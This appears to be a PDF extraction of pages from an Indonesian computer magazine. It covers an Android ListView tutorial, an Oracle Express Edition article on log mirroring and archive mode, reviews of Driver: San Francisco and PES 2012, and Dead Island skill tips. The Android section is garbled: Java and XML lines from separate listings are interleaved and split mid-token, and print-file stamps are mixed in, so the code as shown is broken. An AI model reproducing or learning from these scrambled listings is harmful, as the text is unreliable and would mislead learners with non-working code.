118_knowhow-ZPJ_ edit nur.indd 124

Aplikasi dapat menerima pemberitahuan klik panjang pada item dengan mendaftarkan instance OnItemLongClickListener. Anda harus melengkapi implementasi metode onItemLongClick(). Metode onItemLongClick() mengharuskan aplikasi mengembalikan nilai boolean true sebagai indikasi bahwa aplikasi telah mengonsumsi kejadian klik panjang ini atau false bila sebaliknya. Parameter metode onItemLongClick() sama dengan parameter pada onItemClick() di atas. Untuk mendaftarkan instance OnItemLongClickListener, 12/2011

11/2/2011 10:40:08 AM

nf-1 + reseller ID.indd 1

02/11/2011 14:17:32

KNOW-HOW

Coding

Anda memanggil metode setOnItemLongClickListener().

parameter, yakni parent yang berisi instance ListView.

Kejadian Item Dipilih

Penutup

Kejadian item dipilih diberitahukan dengan mendaftarkan instance OnItemSelectedListener. Tipe ini mengharuskan Anda melengkapi dua metode, yakni onItemSelected() yang parameternya sama dengan onItemClick() dan onNothingSelected() bila tidak ada item yang dipilih. Metode onNothingSelected() hanya mengharapkan sebuah

Kita telah mendiskusikan seluk-beluk pemanfaatan pada ListView, salah satunya elemen GUI pada Android yang paling banyak digunakan, mulai tergolong sederhana, yakni menampilkan data dengan menggunakan ArrayAdapter dengan layout standar hingga menggunakan database, membuat adapter sendiri, dan memanfaatkan

Listing 1


package juhara.listview0;

xmlns:android=”http://schemas.

layout yang lebih bergaya. Dan, pada bagian akhir, kita diskusikan juga cara mengoptimalkan performa ListView serta menangani kejadian yang dibangkitkan oleh ListView.

LEBIH LANJUT Google, “Android SDK Documentation”, http://developer. android.com. Murphy, Mark L.. 2010. Beginning Android 2. Apress

name”>ListView2 <string-array name=”bilangan”>

android.com/apk/res/android”

satu

import android.app.ListActivity;

android:orientation=”vertical”

dua

import android.os.Bundle;

android:layout_width=”fill_parent”

tiga

import android.widget.ArrayAdapter;

android:layout_height=”fill_parent”

empat

import android.widget.BaseAdapter;

android:padding=”10dp” android:textSize=”16sp”>

public class ListView0Activity

lima

extends ListActivity

Listing 3

{ private String[] arrItems=new String[] {“satu”,”dua”,”tiga”,”empat”,” lima”};

Listing 2b public class ListView1Activity extends ListActivity {


/** Called when the activity is

@Override public void onCreate(Bundle

android:layout_width=”fill_parent”

@Override

android:layout_height=”fill_parent”

public void onCreate(Bundle

>

savedInstanceState) { super.onCreate(savedInstanceStat

android:orientation=”vertical”

first created. */

savedInstanceState)


{

e);

android:id=”@android:id/

String[] arrItems=getResources(). BaseAdapter adapter = new ArrayAda

getStringArray(R.array.bilangan);

pter<String>(this, //android.R.layout.simple_list_

content”

BaseAdapter adapter = new

parent”>

android:layout_width=”fill_

ArrayAdapter<String>(this,

R.layout.list_item,

arrItems); setListAdapter(adapter);

item_checked, }

arrItems); setListAdapter(adapter);

android:textAppearance= “?android:attr/

item_single_choice, //android.R.layout.simple_list_


item_multiple_choice, android.R.layout.simple_list_

android:layout_height=”wrap_

super.onCreate(savedInstanceS tate);

item_1, //android.R.layout.simple_list_

list”

}

textAppearanceLarge” android:id=”@android:id/empty” android:text=”Maaf data kosong” android:layout_height=”wrap_ content” android:layout_width=”wrap_

}

content”>

}

Listing 2c

Listing 2a

126

118_knowhow-ZPJ_ edit nur.indd 126

<string name=”app_

Listing 4 berisi kode bagaimana ListView diinisialisasi.

12/2011

11/2/2011 10:40:38 AM

Coding

public class ListView4Activity

@Override

extends ListActivity {

public long getItemId(int index)

private String[] bilangan={

{

“satu”,

Listing 7a return index;

“dua”,

KNOW-HOW

private void fillLocationList(ListView lv)

}

{

“tiga”,

DBLocation dbLoc = new DBLocation(

“empat”,

@Override

“lima”

public View getView(int index,

};

//private String[] bilangan={};

getApplicationContext());

View convertView,

dbLoc.open();

ViewGroup parent)

Cursor c = dbLoc.getLocation(null); startManagingCursor(c);

{

String[] colNames=new String[] {

LayoutInflater inflater=(LayoutInf @Override

DBLocation.COL_LOC_NAME,

later)

public void onCreate(Bundle savedInstanceState)

DBLocation.COL_LOC_LATITUDE,

getSystemService(LAYOUT_

DBLocation.COL_LOC_LONGITUDE};

INFLATER_SERVICE);

{

int[] views=new int[] {

View aview = inflater.inflate( super.onCreate(savedInstanceStat

R.id.txtvwLocName,

R.layout.listitem, null);

e);

R.id.txtvwLocLatitude,

TextView txtvw=(TextView) setContentView(R.layout.main);

R.id.txtvwLocLongitude};

aview.findViewById(R.

SimpleCursorAdapter adapter= new

id.textView1); ListView alistview=getListView();

SimpleCursorAdapter(

txtvw.setText(bilangan[index]);

getApplicationContext(),

return aview; alistview.setAdapter(new ArrayAdap

R.layout.itemlayout, c,

}

colNames, views);

ter<String>(this, android.R.layout.simple_list_

} lv.setAdapter(adapter);

item_1, }

bilangan));

Listing 5

}

}


Listing 4

“http://schemas.android.com/apk/

private class BilanganAdapter extends

res/android”

BaseAdapter

android:layout_width=”fill_parent”

{

android:layout_height=”fill_parent”> private String[] bilangan={ “satu”, “dua”, “tiga”, “empat”, “lima”};

@Override

public int getCount()


{

android:textAppearance=

return bilangan.length; }

“?android:attr/ textAppearanceLarge” android:id=”@+id/textView1”

@Override public Object getItem(int index) {

}

118_knowhow-ZPJ_ edit nur.indd 127

android:layout_height=”wrap_


android:layout_width=”wrap_ content”>

12/2011

android:text=”TextView”

content” return bilangan[index];

Listing 7b

android:id=”@+id/tableLayout1” android:layout_height=”wrap_ content” android:layout_width=”fill_parent”>

127

11/2/2011 10:40:40 AM

KNOW-HOW

Coding


Listing 7d

Listing 10

adapter.setStringConversionColumn( c.getColumnIndexOrThrow( DBLocation.COL_LOC_NAME));

android:layout_width=”wrap_

xmlns:android=

res/android”>

android:layout_height=”wrap_


<selector

“http://schemas.android.com/apk/

content”

content”>

Listing 7e


adapter.setFilterQueryProvider(

android:id=”@+id/textView2”

new FilterQueryProvider()

android:layout_height=”wrap_

{

android:drawable=”@color/ oranye”/>


content” android:layout_width=”wrap_

public Cursor runQuery( CharSequence constraint)

content”>

{ String locName = null;

android:text=”TextView”

if (constraint != null)

android:layout_width=”wrap_

{ locName = constraint.

content”

return dbLoc.getLocationByName( locName);

txtvwLocLatitude”>

android:layout_width=”wrap_ content” android:layout_height=”wrap_ content”>


android:layout_width=”fill_parent”

Listing 8


listView1.setTextFilterEnabled(true);

android:background=”@drawable/ itembkgr” >

android:id=”@+id/textView1”>

Listing 9

res/android”

Listing 7c

android:layout_height=”fill_parent”

content”

txtvwLocLongitude”>

xmlns:android=

res/android”

});

android:id=”@+id/


“http://schemas.android.com/apk/

}


Listing 11 8”?>

}

android:id=”@+id/


toString();

content”


android:layout_height=”wrap_

kuning”/>

android:src=”@drawable/bg01” android:tileMode=”mirror” >

Listing 12

<selector xmlns:android=

128

118_knowhow-ZPJ_ edit nur.indd 128

12/2011

11/2/2011 10:40:40 AM

varnion tech+nf-2.indd 1

02/11/2011 15:06:31

KNOW-HOW

Coding

“http://schemas.android.com/apk/

}

vh.textvw=(TextView)

res/android”>

convertView.findViewById( R.id.textView1);


Listing 15 @Override

} else

public View getView(int index,

{

android:drawable=”@drawable/grass_ selected”/>


convertView.setTag(vh);

View convertView,

//recycle view

ViewGroup parent)

vh=(ViewHolder) convertView.getTag();

{ }

grass”/> LayoutInflater inflater=

vh.textvw.setText(

(LayoutInflater) getSystemService(

bilangan[index]);

LAYOUT_INFLATER_SERVICE);

return convertView;

View aview = inflater.inflate(

Listing 13

R.layout.itemlayout, null);


aview.findViewById(R.id.textView1);

xmlns:android=

txtvw.setText(bilangan[index]);

“http://schemas.android.com/apk/res/

return aview;

android”

}

TextView txtvw=(TextView) Listing 17b private static final class ViewHolder {

}

TextView textvw;

android:orientation=”vertical” }

android:layout_width=”fill_parent” android:layout_height=”fill_parent”>


Listing 16 public View getView(int index,

android:layout_height=”wrap_ content” android:layout_width=”fill_parent”

Listing 18

@Override

listView1.setOnItemClickListener(

View convertView,

new OnItemClickListener()

ViewGroup parent)

{ public void onItemClick(

{

android:background=”@drawable/ listviewbkgr”

if (convertView==null)

AdapterView> parent,

{

View view, int position, long id)

convertView = inflater.inflate(

android:cacheColorHint=”@null”

{

R.layout.itemlayout, null);

android:listSelector=”@android:

Cursor c=(Cursor)

}

color/transparent”

parent.getItemAtPosition(position);

android:divider=”@null”

int

TextView txtvw=(TextView)

android:dividerHeight=”20dp” >

col_locname=c.getColumnIndex(

convertView.findViewById(

DBLocation.COL_LOC_NAME),

R.id.textView1);

col_loclat=c.getColumnIndex(

txtvw.setText(bilangan[index]);

DBLocation.COL_LOC_LATITUDE),

return convertView;

Listing 14

col_loclong=c.getColumnIndex(

}

private void addHeaderFooter( ListView lstvw)

DBLocation.COL_LOC_LONGITUDE);

Listing 17a @Override

{ LayoutInflater inf=(LayoutInflater)

ViewGroup parent)

LAYOUT_INFLATER_SERVICE);

R.layout.listvwheader,null); View afooter=inf.inflate( R.layout.listvwfooter,null); lstvw.addHeaderView(aheader);

getApplicationContext(),

View convertView,

getSystemService(

View aheader=inf.inflate(

Toast.makeText(

public View getView(int index,

“Lokasi:”+c.getString(col_ locname)+”\n”+

{

“Latitude:”+c.getDouble(col_ ViewHolder vh;

loclat)+”\n”+

if (convertView==null) {

“Longitude:”+c. getDouble(col_loclong),

convertView = inflater.inflate(

Toast.LENGTH_LONG).show();

R.layout.itemlayout, null); lstvw.addFooterView(afooter);

} vh=new ViewHolder();

130

118_knowhow-ZPJ_ edit nur.indd 130

});

12/2011

11/2/2011 10:40:55 AM

GSD_12.indd 1

08/11/2011 16:55:56

KNOW-HOW Software

ORACLE EXPRESS EDITION Emulasi Enterprise Edition: Mirroring dan Transaction-log Setyo A. Putro dan Bernaridho I. Hutabarat

Pengantar Tulisan ini adalah kelanjutan tulisan dengan judul yang sama pada PC Media edisi sebelumnya. Keadaan awal dalam tulisan ini adalah keadaan akhir dari tulisan pada edisi sebelumnya. Sebagaimana hasil instalasi dalam artikel yang lalu, kita sudah mendapatkan hasil sebagaimana yang terlihat pada Gambar 1, Gambar 2, dan Gambar 3. Pada Gambar 1 terlihat bahwa hanya ada tiga file pada lokasi C:\Database\XE, yaitu “db.confi g”, “Transactions1.log”, dan “transactions2.log”. Pada Gambar 3 terlihat bahwa terdapat enam file, yaitu database files. Sebagaimana yang tampak pada Gambar 3, tidak terdapat transaction log file(s) pada lokasi tersebut. Dengan kata lain, transaction log file(s) masih belum dikenai operasi mirroring. Pada kesempatan kali ini, kita akan melakukan mirroring terhadap transaction log file(s).

Mirroring Transaction Log File(s) Mirroring transaction log file(s) dapat kita lakukan dengan cara melakukan operasi alter database add logfile member. Untuk lebih jelasnya, lihatlah Gambar 4. Operasi tersebut akan mengakibatkan terbentuknya file-file baru di lokasi yang kita tetapkan. Anda dapat melihat hasil operasi tersebut pada Gambar 5. Dengan demikian, proses mirroring dapat dikatakan berhasil. Namun demikian, member yang kita buat masih berstatus INVALID. Untuk membuatnya bersatus VALID, Anda lakukan pemanggillan operasi alter system switch logfile sebanyak dua kali (karena kita menambah satu member baru untuk tiap-tiap dari kedua grup). Pemanggilan

132

pcm_know-how_12_BIH_2 edit nur.indd 132

operasi dan hasilnya dapat kita lihat pada Gambar 7.

Melakukan Penambahan Grup Penambahan member sudah berhasil kita lakukan. Lalu, bagaimana jika kita ingin melakukan penambahan grup? Penambahan grup dapat kita lakukan dengan pemanggilan operasi alter database add logfile. Untuk lebih jelasnya, lihat Gambar 8. Hasil eksekusi operasi tersebut dapat kita lihat pada Gambar 9 dan Gambar 10, yaitu terbentuk file baru pada kedua lokasi sebagaimana yang telah kita tentukan saat pemanggilan operasi alter database add logfile. Sebagaimana yang terlihat pada Gambar 9, terbentuk satu file baru, yaitu file “Transactions3. log”. Sebagaimana yang terlihat pada Gambar 10, terbentuk satu file baru, yaitu file “Transactions3B.log”. Sekarang kita memiliki tiga grup dengan member tiap-tiap grup sebanyak dua member. Untuk melihat grup dan member yang kita miliki, lakukan query dari SQL Engine. Untuk lebih jelasnya, lihatlah Gambar 11.

Membuat Database Beroperasi dalam Archive Mode Database terkadang harus dioperasikan dalam Archive Mode, misalnya bila database tersebut akan difungsikan sebagai production database (database yang digunakan untuk menjalankan program aplikasi) atau untuk hal yang berkaitan dengan backup and recovery processes. Secara default, database yang kita buat akan beroperasi dalam mode No Archive Mode. Untuk mengecek mode pengoperasian database, Anda dapat menggunakan operasi archive log list sebagaimana terlihat pada Gambar 12.

Gambar 1. Kondisi di lokasi C:\Database\XE.

Gambar 2. Kondisi di lokasi D:\. Pada Gambar 2, folder yang terkait dengan database hanya Database (D:\Database).

Gambar 3. Kondisi di lokasi D:\Database\ XE.

Gambar 4. Operasi alter database add logfile.

Gambar 5. File-file baru yang terbentuk dari hasil mirroring.

12/2011

11/2/2011 9:37:19 AM

Software KNOW-HOW

Gambar 6. Status member masih INVALID.

Gambar 11. Grup dan member yang ada.

Gambar 12. Default database mode.

Gambar 7. Pemanggilan operasi alter system switch logfile.

Gambar 8. Pemanggilan operasi alter database add logfile.

Benar bahwa secara default, database akan beroperasi dalam mode No Archive Mode. Untuk membuatnya menjadi beroperasi dalam Archive Mode, Anda edit isi file konfigurasi instance (init.ora

Gambar 13. Database beroperasi dalam Archive Mode.

atau pada kesempatan lalu telah kita buat menjadi XE.config). Perubahan dan penambahan isi akan kita lakukan pada file tersebut. Namun, yang perlu diiingat adalah kita harus melakukan stoping instance terlebih dahulu. Jadi, silakan stop instance Anda! Selanjutnya, silakan buka file konfigurasi instance dan lakukan perubahan isinya menjadi sebagai berikut. 1. Menentukan lokasi dari Archive Log File(s) Penentuan lokasi dapat dilakukan dengan menentukan isi DB_RECOVERY_FILE_ DEST. Untuk percobaan kali ini, lokasi yang ditentukan Gambar 9. Hasil pemanggilan operasi alter database adalah D:\. Dengan demikian, add logfile di C:\Database\XE. secara lengkap silakan Anda melakukan perubahan entry menjadi DB_RECOVERY_ FILE_DEST = D:\. Secara default, Oracle Express akan membuat forder XE di lokasi tersebut. 2. Menentukan format Archived Transaction Log File(s) Formatting penamaan Archived Transaction Log File(s) dapat kita lakukan dengan cara Gambar 10. Hasil pemanggilan operasi alter database menambahkan entry berikut add logfile di D:\Database\XE. pada file konfigurasi instance,

12/2011

pcm_know-how_12_BIH_2 edit nur.indd 133

yaitu “log_archive_format = %T_%R_%S.LOG”. Jika kedua langkah tersebut telah dilakukan, kita dapat melakukan starting instance. Pola starting yang digunakan adalah startup mount atau secara lengkap startup mount pfile = <path expression> dan diikuti dengan eksekusi operasi alter database archive log diikuti dengan alter database open. Praktik dan hasilnya dapat dilihat pada Gambar 13.

Penutup Tulisan ini adalah tulisan terakhir tentang membuat Oracle Express Edition database menjadi seperti Oracle Enterprise Edition database. Ini adalah salah satu cara untuk mempelajari teknologi mahal dengan biaya murah. Setyo A. Putro adalah staf Bisnis Tekno Ultima. Bernaridho I. Hutabarat adalah direktur PT Bisnis Tekno Ultima ([emailprotected]).

LEBIH LANJUT Freeman, Robert G. et al.. 2009. Oracle Database 11g Administrator Certified Professional. Sybex Hutabarat, Bernaridho I.. 2011. Oracle 11g DBA. Bisnis Tekno Ultima

133

11/2/2011 9:37:30 AM

GAME TEST

Racing

1

2 1 2

Mobil utama Anda adalah Dodge Challenger tahun 1970. Jika ingin, Anda bisa melakukan shifting dan mengambil alih mobil lain.

DRIVER SANFRANSISCO Driver San fransisco berkisah tentang upaya seorang detektif polisi bernama John Tanner dalam mengejar bos kriminal, Charles Jericho, yang kabur dari penjara. Upayanya nyaris gagal ketika mobilnya ditabrak Jericho. Namun, peristiwa tersebut justru menyebabkannya memiliki kemampuan spiritual body shifting. Berbekal kemampuan barunya, Tanner berusaha melacak jejak Jericho. San Fransisco merupakan sekuel kelima dari seri Driver. Satu hal yang tetap dipertahankan adalah penggunaan muscle car khas Amerika sebagai mobil utama karakter Anda. Namun, jangan khawatir, Anda tetap berkesempatan mengendarai tak kurang dari 130 mobil! Bagaimana mungkin? Sederhana, berkat kemampuan shifting-nya, Tanner bisa merasuk ke tubuh pengendara lainnya. Artinya, Anda bisa berpindah dari mobil ke mobil sesuai

134

134_game_12 edit nur.indd 134

keinginan atau plot permainan. Dukungan kualitas grafik yang cukup mumpuni juga menyumbang poin tersendiri. Meski detail lingkungan tak mengesankan, hal yang sama tidak bisa dikatakan untuk perwajahan karakter maupun penggambaran mobilnya. Sayangnya, sebagai game yang fokus pada tema racing, Driver: San Fransisco justru memiliki kelemahan yang cukup fatal. Kontrol kendaraan terbilang kurang baik. Mobil cenderung meng alami oversteer dan understeer berlebihan saat mencoba melibas tikungan. Selain itu, kendali mobil pun nyaris tidak berbeda meski Anda berpindah antara beragam mobil. Salah satu gimmick yang coba ditawarkan Ubisoft adalah lingkungan permainan yang luas. Namun, fitur ini pun kemudian jadi terasa hambar mengingat Anda tak bisa bebas menjelajah kota. Kesan realistis yang

dihadirkan dengan penggarapan mobil yang baik, sedikit-banyak juga ternoda dengan tak adanya efek grafik yang menunjukkan kerusakan mobil saat mengalami tabrakan. Driver: San Fransisco memang tak semata game racing, tetapi karena porsi yang besar untuk hal itu, kelemahan tersebut otomatis mengurangi kenikmatan bermain.–MH DATA TEKNIS Perusahaan Ubisoft Kebutuhan Minimum Microsoft Windows XP SP3/Vista SP2/7 SP1, Intel Pentium D 3.0 GHz, 1 GB RAM (XP)/2 GB RAM (Vista/7), 256 MB VRAM DirectX 9.0c Compliant, Shader 4.0 enabled video card, 11 GB harddisk space Multiplayer internet Website www.driver-game.com TOMBOL Up Arrow accelerate Down Arrow brake/reverse Left Arrow steer left Right Arrow steer right Spacebar handbrake Ctrl boost Rapid Shift Z Car Swap/Spawn X BENCHMARK/PENGUJIAN %0 20 40 60 80 100 Nilai% Grafik 87% Gameplay 75% Suara 60% Fitur 60% WE LIKE Lingkungan permainan luas, koleksi mobil banyak, body shifting.

TOTAL NILAI (MAKS. 100=100%)

WE DON’T Kontrol mobil buruk, tak ada efek damage pada mobil.

74% 12/2011

11/7/2011 2:11:17 PM

Fox Hound_12.indd 1

09/11/2011 16:13:18

GAME TEST

Sport

1

2 1 2

Kualitas grafik tak jauh beda dengan sekuel terdahulu. Meski tidak terlalu lengkap, hampir semua klub besar ada dalam game ini.

PES 2012 Sepak bola merupakan olahraga paling populer di dunia, maka game yang mengambil tema sepak bola semestinya juga merupakan game yang populer. Hipotesis tersebut tidak salah dengan syarat game tersebut mampu menerjemahkan semua yang diinginkan pecinta sepak bola di dunia. Sejauh ini, hanya ada dua pengembang yang sukses mengembangkan game sepak bola. Keduanya adalah EA dengan seri FIFA-nya dan Konami dengan seri Pro Evolution Soccer (PES). Di Indonesia, Konami-lah yang merebut banyak simpati fans. Jangan mengernyitkan dahi dulu. Seri PES di Asia lebih dikenal dengan nama Winning Eleven! Menjelang 2012, Konami kembali merilis PES 2012. Sayangnya, tak banyak perubahan yang digagas Konami untuk seri terbarunya ini. Dalam banyak hal, PES 2012 hanya merupakan pengembangan minor dari seri sebelumnya, yakni PES 2011. Kualitas grafik tak mengalami banyak perubahan. Sama seperti PES 2011, grafik game ini tampak cukup memukau

136

134_game_12 edit nur.indd 136

ON THE DVD-9

saat cutscene, tetapi hal yang sama tidak berlaku untuk grafik in-game-nya. Gambaran para pemain terlihat masih agak kaku. Upaya Konami mengikuti jejak EA dengan menghadirkan pemain yang sesuai aslinya terkesan kurang berhasil. Tak hanya gambaran karakter, dari sisi lisensi resmi liga dunia PES 2012 pun tak selengkap seri FIFA. Beruntung PES masih lebih unggul dalam hal gameplay ketimbang seri FIFA. Khusus gameplay, Konami mengenalkan sistem baru yang disebut Teammate Control System, sebuah sistem di mana Anda berkemungkinan untuk mengontrol pemain kedua. Dengan begitu, diharapkan pergerakan serangan maupun pertahanan akan lebih solid. Praktiknya memang tak semulus itu. Toh penerapan fitur ini boleh dipuji. Aspek Gameplay lain tak banyak berubah. Anda yang sudah memain kan PES 2011 akan langsung merasa familiar dengan semua elemen gameplay yang ada. Meski masih memiliki beberapa bug, kualitas gameplay cukup solid dan rasanya akan tetap mampu memuaskan Anda.

Kenikmatan bermain juga bertambah dengan adanya daftar panjang klub dan pemain yang telah dilisensi. Setidaknya, Konami telah memegang lisensi resmi dari UEFA dan Conmebo untuk Liga Champions UEFA, Liga Eropa UEFA, UEFA Supercup, dan Copa Santander Libertadores lengkap dengan klub dan para pemainnya. –MH DATA TEKNIS Perusahaan Konami Kebutuhan Minimum Microsoft Windows XP SP3/Vista/7, Intel Dual Core 2.4 GHz, 1.5 GB RAM, nVIDIA 6600 GT/ATI Radeon X1300, 8 GB harddisk space Multiplayer LAN, internet Website www.konami.com/games/pes2012 TOMBOL Up, Down, Left, movement Right Arrow D long pass X short pass W through pass A shoot E dash Z strategy/attack/defend C special control BENCHMARK/PENGUJIAN %0 20 40 60 80 100 Nilai% Grafik 93% Gameplay 80% Suara 80% Fitur 80% WE LIKE Teammate control system.

TOTAL NILAI (MAKS. 100=100%)

WE DON’T Tak ada perubahan berarti dari PES 2011, bug.

84% 12/2011

11/7/2011 2:11:30 PM

PCP_12.indd 1

09/11/2011 15:05:21

GAME WALKTHROUGH RPG

Untuk meng-upgrade senjata, Anda butuh dokumen Mod seperti ini.

Bicaralah dengan NPC untuk mendapatkan quest berikutnya ataupun side quest.

Zombie tak bisa berenang, menceburkannya ke kolam bisa dijadikan solusi.

DEAD ISLAND Skil tree setiap karakter tersusun bertingkat seperti ini.

Mardi Hartanto

Ketika wabah zombie merebak di Banoi Island, satu-satunya cara untuk selamat adalah keluar dari pulau tersebut! Alur cerita pada Banoi Island memang tidak orisinal. Hampir semua game berlatar zombie memiliki alur cerita yang sama. Namun, Dead Island memiliki ciri khas tersendiri yang membedakannya dengan game sejenis. Sebagai contoh, meski sama-sama memiliki empat karakter utama yang bisa dipilih, Dead Island tidak sama dengan Left 4 Death. Setiap karakter dalam Dead Island memiliki spesialisasi tersendiri. Lebih jauh lagi, Dead Island memiliki elemen RPG yang terbilang komplet, mulai opsi pengembangan karakter, membuat maupun upgrade senjata, opsi jual-beli, hingga banyaknya side quest. Dead Island bahkan lebih pantas disebut game RPG dibandingkan FPS, terlebih dengan sistem permainan yang bergaya nonlinear. Anda bebas

138

134_game_12 edit nur.indd 138

menjelajah seluruh pulau dan berhadapan dengan bahaya yang tak terduga. Sebagai kompensasi, Anda mungkin bisa mendapatkan item yang berharga atau setidaknya penambahan poin Experience yang berguna untuk meningkatkan level karakter. Berangkat dari hal tersebut, sebuah walkthrough tidak memungkinkan untuk dibuat karena akan terlalu panjang dan sangat menyita halaman. Untuk membantu Anda, kami akan menyuguhkan beberapa tip dan strategi yang mungkin berguna untuk bertahan hidup di tengah kepungan zombie.

I. Karakter Utama Seperti disebutkan sebelumnya, ada empat karakter utama yang bisa dipilih. Keempat karakter bisa menggunakan

Organisasi inventory Anda, jangan simpan senjata yang rusak jika tak ingin memperbaikinya.

senjata apa pun, tetapi mereka memiliki kemampuan lebih untuk jenis-jenis senjata tertentu. Keempatnya adalah Logan Carter, Purna, Xian, dan Sam B. Pemilihan karakter tidak mengubah alur permainan, tetapi bisa dipastikan tingkat kesulitan dan tantangan yang dihadapi akan berbeda cukup signifikan. Berikut adalah penjelasan untuk keempat karakter itu.

A. LOGAN CARTER Logan Carter adalah mantan pemain 12/2011

11/7/2011 2:11:38 PM

RPG GAME WALKTHROUGH

sepak bola ternama. Kecelakaan telah menghabisi kariernya. Karena stres dan depresi, Logan memutuskan untuk berlibur di Banoi Island. Attribut: Health: 100 Speed: 100 Stamina: 80 Jenis Kelamin: pria Spesialisasi: throwing weapon/senjata lempar.

C. XIAN Xian adalah seorang polisi dari Hongkong. Keinginan untuk berkeliling dunia membuatnya menerima penugasan di sebuah hotel di Banoi Island. Attribut: Health: 90 Speed: 100 Stamina: 100 Jenis Kelamin: perempuan Spesialisasi: sharp weapon/senjata tajam

B. PURNA Purna adalah mantan detektif dari Sydney Police Department. Ia dipecat dari tempatnya bekerja karena menembak seorang berpengaruh yang mencabuli anaknya sendiri. Purna kini bekerja sebagai pengawal pribadi dan berada di Banoi dalam rangka pekerjaannya. Attribut: Health: 100 Speed: 100 Stamina: 90 Jenis Kelamin: perempuan Spesialisasi: firearms/senjata api.

D. SAM B Sam B merupakan seorang rapper dari New Orleans. Ia terkenal berkat single hit-nya, “Who do You Voodoo?”. Sam berada di Banoi Island untuk menyanyi di acara hotel. Attribut: Health: 110 Speed: 100 Stamina: 90 Jenis Kelamin: pria Spesialisasi: blunt weapon/senjata tumpul

Perbedaan spesialisasi otomatis menyebabkan tingkat kesulitan yang berbeda untuk setiap karakter. Sebagai contoh, Anda yang bermain sebagai Purna mungkin akan mengalami masa sulit pada awal-awal permainan karena tidak ada senjata api yang bisa digunakan. Namun, setelah mendapatkan senjata api, Purna akan berubah menjadi karakter yang mematikan, terlebih setelah ia mengaktifkan mode Fury. Pada mode/skill ini, revolvernya seolah memiliki amunisi yang tak terbatas. Hal sebaliknya justru terjadi pada Sam B. Keahliannya dalam blunt weapon menyebabkan Sam B relatif mudah menghadapi zombie pada awal-awal permainan. Namun, seiring dengan berkembangnya permainan, tingkat kesulitan yang dihadapi akan bertambah, terutama bila ia bertemu dengan zombie yang berlevel boss.

II. Skill Sesuai spesialisasi karakter, skill yang dimiliki akan cukup berbeda. Setiap

LOGAN Branch

Fury

Combat

Survival

Skill I Skill II

Bullseye Longshots, Furious Throw, Grazing Hits

Heavy Hitter Kicker, Fencer, Mass Driver, Maintenance, Frenzy, Flow

Skill III Skill IV

True Bullseye Wings of Dead, Battle Rage, Volatile

Skill V

Dead Eye Bullseye

Sharp Apprentice Mighty Throw, Aimed Shots, Way of the Warrior, Economical Throw, Shinobi, Telling Blows Firearms Apprentice

Boomerang Drunken Master, Efficiency, Deeper Pockets, Picklock, Conditioning, Scavenger Reliable Boomerang Fireproof, Custom Maintenance, Discipline, Medical Purposes, Appraiser, Reflexion Righteous Boomerang

Fury : Bullseye, Longshot, Furious Throw, True Bullseye, Battle Rage, dan Volatile. Combat : Heavy Hitter, Fencer, Maintenance, Flow, Sharp Apprentice, Mighty Throw, dan Firearms. Survival : Boomerang, Drunken Master, Conditioning, Reliable Boomerang, Discipline, Custom Maintenance, dan Medicinal Purposes.

PURNA Branch

Fury

Combat

Skill I Skill II

Guardian Inspiring Kick, Attack Formation, Grim Inspiration,

Skill III Skill IV

Guardian Spirit Volatile, Fiery Spirit, Righteous Fire

Skill V

Guardian Angel

Blade Fighter Vampire, Hard knocker, Randori, Gender Wars, Maintenance, Kick of Strength Firearms Training Elemental Affinity, Cold Rage, Executor, Wunderwaffe, Rapidfir, Piercing Shots Gun Kata

Survival

Boost Mood Opt. Maintenance, Deeper Pockets, Picklock, Glory Hound, Conditioning, Custom Maintenance Boost Ambience Recycler, Recovery, Providence, Second chances, Jackpot, Rain of Bullets Boost Aura

Fury : Guardian, Grim Inspiration, Guardian Spirit, Volatile, Righteous Fire, dan Guardian Angel 1. Combat : Blade Fighter, Hard Knocks, Gender Wars, Wunderwaffe, Rapid Fire, dan Gun Kata. Survival : Boost Mood, Picklock, Conditioning, Custom Maintenance, Boost Ambience, Recycler, Rain of Bullets, dan Boost Aura.

12/2011

134_game_12 edit nur.indd 139

139

11/7/2011 2:11:46 PM

GAME WALKTHROUGH RPG

XIAN Branch

Fury

Combat

Survival

Skill I Skill II

Blood Rage Assasin’s Guile, Grim Insoiration, Lightning Moves

Skill III Skill IV

Boiling Bloodrage Volatile, Flowing Strikes, Rerage

Blade Fighter Flying Strike, Flawless Blade, Maintenace, Backstab, Effortless, Deep Wounda Sharp Expert Serrated Blade, Tellings Blow, Poisonous, Stroke of Luck, Pressure, Master Assasin Blade Master

First Aid Life Insrance, Vampire, Spectre, Deeper Pockets, Picklock, Endurance Field Medicine Choice Cuts, Merchant, Combo, Rally, Custom Maintenance, Equal Chances Surgeon General

Skill V Fury Combat Survival Catatan

Burning Blodrage : : : :

Bloodrage, Grim Inspiration, Lightning Moves, Boiling Bloodrage, Volatile, Burning Bloodrage.. Blade Fighter, Flawless Blade, Maintenance, Effortless, Sharp Expert, Serrated Blade, Telling Blows, Poisonous, Master Assassin, Blade Master. Skill Survival seperti Surgeon General atau Custom Maintenance sebenarnya cukup penting, tetapi karena untuk mendapatkannya Anda harus membenamkan poin untuk skill-skill sebelumnya, kami tidak memprioritaskannya.

SAM B Branch

Fury

Combat

Survival

Skill I Skill II

Haymakeer Feel No Pain, Grim Inpiration, Sticks & Stones

Recuperation Money Magnet, Motivation, Decoy, Hardened, Picklock, Deeper Pocket

Skill III Skill IV

Greater Haymaker Volatile, Smash Hit, Painkiller

Skill V

Incredible Haymaker

Heavy Hitter Devastation, Effortless, Maintenance, Lights Out Tackle, Exploit Weakness Blunt Expert Hammer Blows, Big Sticks, Powerful Impact, Critical Impact, Aimed Shots, Telling Blows Earth Shaker

Regeneration Bone Breaker, Bullet Proof, Backfire, Last Stand, Fence, Custom Maintenance Rebirth

Fury : Haymaker, Grim Inspiration, Greater Haymaker, Volatile, Incredible Haymaker. Combat : Heavy Hitter, Devastation, Effortless, Maintenance, Tackle, Blunt Expert, Big Stick, Powerful Impact, Earthshaker 1. Survival : Recuperation, Hardened, Regeneration, Bulletproof.

